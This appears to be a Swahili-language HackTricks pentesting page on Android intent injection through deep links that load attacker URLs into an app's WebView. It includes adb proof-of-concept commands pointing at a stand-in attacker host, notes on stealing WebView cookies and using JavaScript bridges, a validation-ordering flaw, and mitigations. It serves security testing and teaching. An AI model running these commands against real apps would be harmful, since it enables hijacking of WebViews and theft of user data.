Intent Injection

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Kuingilia kwa Intent kunatumia vipengele vinavyokubali Intents au data inayodhibitiwa na mshambuliaji ambayo baadaye inabadilishwa kuwa Intents. Mifano mbili za kawaida sana wakati wa pentesting ya programu za Android ni:

  • Kupitisha extras zilizoundwa kwa shughuli/huduma/wasambazaji wa matangazo waliohamasishwa ambao baadaye wanapelekwa kwa vipengele vya kibinafsi, visivyoweza kusambazwa.
  • Kuanza VIEW/BROWSABLE deep links zilizohamishwa ambazo zinapeleka URLs zinazodhibitiwa na mshambuliaji ndani ya WebViews za ndani au vyanzo vingine nyeti.

Ikiwa programu inatoa deep link ya mpango maalum kama:

text
myscheme://com.example.app/web?url=<attacker_url>

na Activity inayopokea inapeleka parameter ya url ya kuhoji ndani ya WebView, unaweza kulazimisha programu kuonyesha maudhui ya mbali yasiyo na mipaka katika muktadha wake wa WebView.

PoC kupitia adb:

bash
# Implicit VIEW intent
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# Or explicitly target an Activity
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact

  • HTML/JS inatekelezwa ndani ya profaili ya WebView ya programu.
  • Ikiwa JavaScript imewezeshwa (kwa default au kutokana na ukaguzi usio sahihi), unaweza kuhesabu/kutumia vitu vyovyote vilivyo wazi vya @JavascriptInterface, kuiba vidakuzi vya WebView/hifadhi ya ndani, na kubadilisha.

Tazama pia:

Webview Attacks

Hitilafu ya mpangilio wa ukaguzi inayowezesha JavaScript

Hitilafu inayojirudia ni kuwezesha JavaScript (au mipangilio mingine ya WebView inayoruhusu) kabla ya orodha ya mwisho ya URL kukamilika. Ikiwa wasaidizi wa mapema wanakubali kiungo chako cha ndani na WebView imewekwa kwanza, upakiaji wako wa mwisho unafanyika huku JavaScript ikiwa tayari imewezeshwa hata kama ukaguzi wa baadaye una kasoro au umechelewa.

Nini cha kutafuta katika msimbo uliofutwa:

  • Wasaidizi wengi wanaopasua/kugawanya/kurejesha URL kwa njia tofauti (normalization isiyo thabiti).
  • Kuitwa kwa getSettings().setJavaScriptEnabled(true) kabla ya ukaguzi wa mwisho wa mwenyeji/ufunguo.
  • Mchakato kama: pasua → thibitisha sehemu → weka WebView → thibitisha mwisho → loadUrl.

Mitigations

  • Canonicalize mara moja na thibitisha kwa ukali; fail closed.
  • Wezesha JavaScript tu baada ya ukaguzi wote kupita na kabla ya kupakia maudhui ya kuaminika.
  • Epuka kufichua madaraja kwa asili zisizoaminika.

Msingi mingine ya jadi ya kuingiza Intent

  • startActivity/sendBroadcast kutumia Intent extras zinazotolewa na mshambuliaji ambazo baadaye zinarejeshwa (Intent.parseUri(...)) na kutekelezwa.
  • Vipengele vya proxy vilivyotolewa vinavyosambaza Intents kwa vipengele nyeti visivyotolewa bila ukaguzi wa ruhusa.

Marejeleo

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks